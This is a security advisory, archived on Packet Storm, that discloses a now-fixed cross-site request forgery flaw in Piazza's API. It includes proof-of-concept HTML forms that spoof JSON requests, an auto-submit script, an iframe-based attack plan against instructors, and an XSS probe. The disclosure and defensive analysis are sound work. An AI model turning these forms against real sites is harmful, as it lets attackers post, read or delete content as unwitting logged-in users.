what you don't know can hurt you

Piazza Cross Site Request Forgery

Piazza Cross Site Request Forgery
Posted Jun 1, 2018
Authored by David Fifield

Piazza.com suffered from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | f39bcd742c0ee2d5f98406d608b99b59

Piazza Cross Site Request Forgery

Change Mirror Download
There is an HTML version of this document with (now non-functional)
demos at https://www.bamsoftware.com/sec/piazza-csrf.html.

This vulnerability described in this post no longer exists as of
2018-06-01. Piazza implemented a CSRF token in an HTTP header.


[Piazza](https://piazza.com/) is a Q&A platform for university courses.
(They actually make money by
[selling student records to recruiters](https://mfeldstein.com/popular-discussion-platform-piazza-getting-pushback-selling-student-data/),
but that's another story.) Most interactions in the web app happen
through an HTTP API. The API lacks CSRF protection, so it is possible to
cause a logged-in user (such as a professor or TA) to, for example, post
or delete content, just by viewing an unrelated web page. The
vulnerability has existed since 2017-02-08 or probably earlier.

The following HTML implements a form which, when clicked, will post a
comment on the discussion topic ENTERCIDHERE. (You can find the cid by
clicking on a topic and watching the browser console.) Methods other
than content.create, like content.get, also work.
<form action="https://piazza.com/logic/api" method="POST" enctype="text/plain">
<input name='{"method":"content.create","params":{"cid":"ENTERCIDHERE","type":"followup","subject":"\u2764 CSRF","content":"","anonymous":"no","dummy":"' value='"}}' hidden>
<input type=submit>
</form>

The API expects JSON, but you can spoof JSON using a form and
[enctype="text/plain"](https://www.w3.org/TR/html50/forms.html#text/plain-encoding-algorithm),
which inserts a '=' character between each name and value. You just need
to insert some extra quote marks to hide the '=' so it doesn't interfere
with the rest of the JSON. Here's an illustration:
<form action="https://piazza.com/logic/api" method="POST" enctype="text/plain">
<input name='{"method":"content.get","params":{"cid":"h1yfzjsrjd13z0","dummy":"' value='"}}' hidden>
<input type=submit>
</form>

That form will result in the following HTTP request (not all headers are
shown). The '=' character was inserted by the text/plain enctype, but it
is rendered harmless by being inserted into a quoted string.
POST /logic/api HTTP/1.1
Referer: https://not-piazza.example/
Content-Type: text/plain
Content-Length: 72

{"method":"content.get","params":{"cid":"h1yfzjsrjd13z0","dummy":"="}}

Of course, it doesn't really require someone clicking on a form button;
you can submit the form automatically and invisibly with JavaScript:
<script>
document.getElementsByTagName("form")[0].submit();
</script>

The vulnerability is especially bad because Piazza allows embedding
arbitrary third-party sites using iframes. (The purpose of the
functionality is to support embedding e.g. YouTube videos, but you can
embed any site.) So a student enrolled in a class could do this:
1. Host a page anywhere with some CSRF code. (Imagine content.create:
"Homework 1 is postponed.")
2. Embed the page in an iframe somewhere in a Piazza post.
3. Wait for an instructor to view the post.
4. Havoc/profit.


== Timeline ==

2017-02-10
Sent email to team@piazza.com (because no security contact was
apparent) with a link to this page and a proof of concept of
doing content.create in a live class.
2017-02-21
Sent a followup with working proofs of concept against the demo
class.
2017-03-17
Got a reply from Henry <help@piazza.com>:
> It turns out engineers had previously identified this issue,
> and they will be pushing a fix in the coming weeks. I will
> send along an update when the fix is out on production.
Acknowledged the reply and suggested that Henry find a more
ethical line of work.
2018-05-01
Tested the content.get against the demo class and found that it
still worked. (The only difference is that you now have to have
clicked on the demo class in another tab first; i.e., have a
cookie set.)
Wrote to Piazza and stated my intention to disclose
the vulnerability on 2018-06-01.
2018-05-02
Got a reply from Rachel <help@piazza.com>:
> We plan to deploy a fix for this by the end of this month.
2018-06-01
Published this advisory.
Tested the content.get demo again, and found
that it no longer works:
> {"result":null,"error_codes":[],"error":"Request not valid","aid":"jhw0rh2umqq3to"}
Investigation reveals that Piazza has implemented a CSRF-Token
header, looking like this:
> CSRF-Token: pJ8cPlSiO
They have provided a CSRF token oracle at
https://piazza.com/main/csrf_token, but seeing as you can't set
custom headers in a form submission, and a cross-origin XHR
(which would allow custom headers) will get blocked, it seems
fine.


== Ideas for further research ==

The input sanitization on post content seems questionable. You can XSS
yourself in the preview pane with a simple <script>alert(1)</script>
(even though the preview pane does *some* processing, for example of $$
LaTeX markup), but the script gets filtered out somehow when you
actually post. The fact that there are at least two different
sanitization paths hints that it's not bulletproof.

There may be XSS danger in the fact that API responses are JSON but are
sent with "Content-Type: text/html". What's properly escaped for JSON
may not be properly escaped for HTML, if you can get the browser to
display a raw API response.


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close